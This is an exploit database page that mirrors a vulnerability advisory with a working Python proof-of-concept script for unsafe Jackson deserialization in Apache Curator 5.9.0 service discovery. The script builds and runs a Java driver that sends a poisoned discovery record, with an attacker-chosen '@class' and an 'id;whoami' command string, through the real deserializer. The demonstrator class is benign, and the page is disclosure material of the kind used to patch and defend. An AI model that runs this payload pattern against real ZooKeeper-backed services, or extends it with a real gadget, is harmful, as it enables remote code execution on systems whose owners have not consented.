Lucene search
+L

Apache Curator 5.9.0 Java Deserialization

🗓️ 06 Oct 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 9 Views

Unsafe deserialization in Apache Curator service-discovery enables remote code execution.

Code
<html><body><p>#!/usr/bin/env python
#
#
# Apache Curator 5.9.0 Java Deserialization
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://curator.apache.org
# Affected version: 5.9.0
#
# Summary: Apache Curator is a Java/JVM client library for Apache ZooKeeper,
# a distributed coordination service. It includes a high level API framework
# and utilities to make using Apache ZooKeeper much easier and more reliable.
# It also includes recipes for common use cases and extensions such as service
# discovery and a Java 8 asynchronous DSL.
#
# Desc: Apache Curator suffers from an unsafe deserialization vulnerability
# in its service-discovery component. The discovery payload is deserialized
# with Jackson polymorphic typing configured as Id.CLASS, which lets the serialized
# data name the Java class to instantiate, so an attacker who can publish a
# crafted discovery record (via ZooKeeper write access or rogue-service registration)
# can drive gadget-based deserialization on a consumer that reads it, resulting
# in remote code execution where a suitable gadget is present on that consumer's
# classpath.
#
# =============================================================
# &gt; python curator_murator.py --keep
# [*] Step 1/4: fetching the real vendor jars from Maven Central
#     [&gt;] curator-x-discovery-5.9.0.jar
#     [&gt;] curator-client-5.9.0.jar
#     [&gt;] jackson-databind-2.18.1.jar
#     [&gt;] jackson-core-2.18.1.jar
#     [&gt;] jackson-annotations-2.18.1.jar
#     [&gt;] slf4j-api-1.7.36.jar
# [*] Step 2/4: writing Java sources
# [*] Step 3/4: compiling
# [*] Step 4/4: running against the real JsonInstanceSerializer
# --------------------------------------------------------------------
# [*] Simulated poisoned ZooKeeper discovery znode:
#     {"name":"evil-svc","id":"evil-1","address":"10.0.0.1","port":1234,"sslPort":0,"payload":{"@class":"Marker","cmd":"id;whoami"},"registrationTimeUTC":0,"serviceType":"DYNAMIC","uriSpec":null,"enabled":true}
# [*] Feeding it to the REAL curator-x-discovery JsonInstanceSerializer.deserialize()...
# &gt;&gt;&gt; Marker() CONSTRUCTED from attacker-controlled @class field
# &gt;&gt;&gt; setCmd("id;whoami") invoked by Jackson with attacker data
# [*] deserialize() returned; payload class = Marker
# --------------------------------------------------------------------
#
# [+] TRIGGERED: attacker class ran during curator-x-discovery deserialization.
#     Proof file PWNED_MARKER.txt:
#       &gt;&gt;&gt; code ran during curator deserialize (constructor) @ Tue Oct 06 18:13:52 CEST 2026
#       &gt;&gt;&gt; code ran during curator deserialize (setter cmd=id;whoami) @ Tue Oct 06 18:13:52 CEST 2026
#
#     (Marker is a benign demonstrator. Full RCE needs a real gadget on the
#      discovery consumer's classpath + the ability to write the ZK znode.)
#
# [*] work dir kept: C:\Users\curator_discovery_deser\work
#
# =============================================================
#
# Tested on: Microsoft Windows 10 (x86_64)
#            Eclipse Temurin OpenJDK 21.0.6 (LTS)
#            Jackson 2.18.1
#            SLF4J 1.7.36
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6009
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6009
#
#
# 13.08.2026
#

import urllib.request    # ...................................... #
import subprocess    # .............................................. #
import argparse    # .................................................. #
import shutil    # ...................................................... #
import sys    # ............................................................ #
import os    # .............................................................. #

r"""
Apache Curator (curator-x-discovery) 5.9.0 - unsafe Jackson @JsonTypeInfo(Id.CLASS)
deserialization of service-discovery payloads.

What it does:
  1. Downloads the REAL vendor jars from Maven Central (curator-x-discovery 5.9.0 +
     Jackson 2.18.1 that Curator pins, plus guava/slf4j for class loading).
  2. Emits a benign demonstrator class Marker.java and a driver.
  3. Compiles them and runs the driver, which feeds an attacker-controlled
     "poisoned ZooKeeper znode" (a ServiceInstance JSON whose payload carries
     "@class":"Marker") to the REAL org.apache.curator.x.discovery.details
     .JsonInstanceSerializer.deserialize(byte[]).
  4. Jackson honors the @class on ServiceInstance.getPayload()
     (@JsonTypeInfo(use=Id.CLASS, defaultImpl=Object.class)) and instantiates the
     attacker-named class + drives its setter BEFORE the library's payloadClass.cast()
     type check. Marker proves this by writing PWNED_MARKER.txt from its constructor
     and setter. The script then verifies that file exists.

Usage:
    python3 curator_murator.py            # fetch, build, run
    python3 curator_murator.py --keep     # keep the work dir and jars afterwards
"""

CURATOR_VERSION = "5.9.0"
JACKSON_VERSION = "2.18.1"
SLF4J_VERSION   = "1.7.36"
CENTRAL = "https://repo1.maven.org/maven2"

JARS = {
    f"curator-x-discovery-{CURATOR_VERSION}.jar":
        f"{CENTRAL}/org/apache/curator/curator-x-discovery/{CURATOR_VERSION}/curator-x-discovery-{CURATOR_VERSION}.jar",
    f"curator-client-{CURATOR_VERSION}.jar":
        f"{CENTRAL}/org/apache/curator/curator-client/{CURATOR_VERSION}/curator-client-{CURATOR_VERSION}.jar",
    f"jackson-databind-{JACKSON_VERSION}.jar":
        f"{CENTRAL}/com/fasterxml/jackson/core/jackson-databind/{JACKSON_VERSION}/jackson-databind-{JACKSON_VERSION}.jar",
    f"jackson-core-{JACKSON_VERSION}.jar":
        f"{CENTRAL}/com/fasterxml/jackson/core/jackson-core/{JACKSON_VERSION}/jackson-core-{JACKSON_VERSION}.jar",
    f"jackson-annotations-{JACKSON_VERSION}.jar":
        f"{CENTRAL}/com/fasterxml/jackson/core/jackson-annotations/{JACKSON_VERSION}/jackson-annotations-{JACKSON_VERSION}.jar",
    f"slf4j-api-{SLF4J_VERSION}.jar":
        f"{CENTRAL}/org/slf4j/slf4j-api/{SLF4J_VERSION}/slf4j-api-{SLF4J_VERSION}.jar",
}

MARKER_JAVA = r"""
import java.nio.file.*;
import java.nio.charset.StandardCharsets;

public class Marker {
    public Marker() {
        System.out.println("&gt;&gt;&gt; Marker() CONSTRUCTED from attacker-controlled @class field");
        touch("constructor");
    }
    public void setCmd(String c) {
        System.out.println("&gt;&gt;&gt; setCmd(\"" + c + "\") invoked by Jackson with attacker data");
        touch("setter cmd=" + c);
    }
    private static void touch(String where) {
        try {
            Files.write(Paths.get("PWNED_MARKER.txt"),
                ("&gt;&gt;&gt; code ran during curator deserialize (" + where + ") @ "
                 + new java.util.Date() + "\n").getBytes(StandardCharsets.UTF_8),
                StandardOpenOption.CREATE, StandardOpenOption.APPEND);
        } catch (Exception e) { /* ignore */ }
    }
}
"""

DRIVER_JAVA = r"""
import org.apache.curator.x.discovery.ServiceInstance;
import org.apache.curator.x.discovery.details.JsonInstanceSerializer;

public class CuratorDiscoveryPoc {
    public static void main(String[] args) throws Exception {
        String evil =
            "{\"name\":\"evil-svc\",\"id\":\"evil-1\",\"address\":\"10.0.0.1\"," +
            "\"port\":1234,\"sslPort\":0," +
            "\"payload\":{\"@class\":\"Marker\",\"cmd\":\"id;whoami\"}," +
            "\"registrationTimeUTC\":0,\"serviceType\":\"DYNAMIC\",\"uriSpec\":null,\"enabled\":true}";
        byte[] znodeBytes = evil.getBytes("UTF-8");

        System.out.println("[*] Simulated poisoned ZooKeeper discovery znode:");
        System.out.println("    " + evil);
        System.out.println("[*] Feeding it to the REAL curator-x-discovery JsonInstanceSerializer.deserialize()...");

        JsonInstanceSerializer<object> ser = new JsonInstanceSerializer<object>(Object.class);
        try {
            ServiceInstance<object> si = ser.deserialize(znodeBytes);
            Object p = si.getPayload();
            System.out.println("[*] deserialize() returned; payload class = "
                + (p == null ? "null" : p.getClass().getName()));
        } catch (Throwable t) {
            System.out.println("[*] deserialize() threw AFTER payload construction (expected for some payloads): " + t);
        }
    }
}
"""

def have(tool):
    return shutil.which(tool) is not None

def download(url, dest):
    if os.path.exists(dest) and os.path.getsize(dest) &gt; 0:
        print(f"    [=] cached {os.path.basename(dest)}")
        return
    print(f"    [&gt;] {os.path.basename(dest)}")
    req = urllib.request.Request(url, headers={"User-Agent": "curator-murator/6.10"})
    with urllib.request.urlopen(req, timeout=60) as r, open(dest, "wb") as f:
        shutil.copyfileobj(r, f)
    if os.path.getsize(dest) == 0:
        raise RuntimeError(f"empty download: {url}")

def main():
    ap = argparse.ArgumentParser(description="Automated Apache Curator discovery deser PoC")
    ap.add_argument("--work", default=os.path.join(os.path.dirname(os.path.abspath(__file__)), "work"),
                    help="work directory (default: ./work next to this script)")
    ap.add_argument("--keep", action="store_true", help="keep the work dir afterwards")
    a = ap.parse_args()

    for t in ("java", "javac"):
        if not have(t):
            sys.exit(f"[!] '{t}' not found on PATH. Install a JDK (e.g. Temurin) and retry.")

    work = a.work
    lib = os.path.join(work, "lib")
    os.makedirs(lib, exist_ok=True)

    print("[*] Step 1/4: fetching the real vendor jars from Maven Central")
    for name, url in JARS.items():
        download(url, os.path.join(lib, name))

    print("[*] Step 2/4: writing Java sources")
    with open(os.path.join(work, "Marker.java"), "w", encoding="utf-8") as f:
        f.write(MARKER_JAVA)
    with open(os.path.join(work, "CuratorDiscoveryPoc.java"), "w", encoding="utf-8") as f:
        f.write(DRIVER_JAVA)

    jars = [os.path.join("lib", n) for n in JARS]
    cp = os.pathsep.join(jars + ["."])
    marker = os.path.join(work, "PWNED_MARKER.txt")
    if os.path.exists(marker):
        os.remove(marker)

    print("[*] Step 3/4: compiling")
    rc = subprocess.run(["javac", "-cp", cp, "Marker.java", "CuratorDiscoveryPoc.java"],
                        cwd=work)
    if rc.returncode != 0:
        sys.exit("[!] compilation failed")

    print("[*] Step 4/4: running against the real JsonInstanceSerializer\n" + "-" * 68)
    subprocess.run(["java", "-cp", cp, "CuratorDiscoveryPoc"], cwd=work)
    print("-" * 68)

    if os.path.exists(marker) and os.path.getsize(marker) &gt; 0:
        print("\n[+] TRIGGERED: attacker class ran during curator-x-discovery deserialization.")
        print("    Proof file PWNED_MARKER.txt:")
        with open(marker, encoding="utf-8") as f:
            for line in f:
                print("      " + line.rstrip())
        print("\n    (Marker is a benign demonstrator. Full RCE needs a real gadget on the")
        print("     discovery consumer's classpath + the ability to write the ZK znode.)")
        result = 0
    else:
        print("\n[-] No proof file produced - the payload did not instantiate the attacker class.")
        result = 1

    if a.keep:
        print(f"\n[*] work dir kept: {work}")
    else:
        shutil.rmtree(work, ignore_errors=True)
        print("\n[*] cleaned up work dir (use --keep to retain jars + sources)")
    sys.exit(result)


if __name__ == "__main__":
    main()
</object></object></object></p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Oct 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
9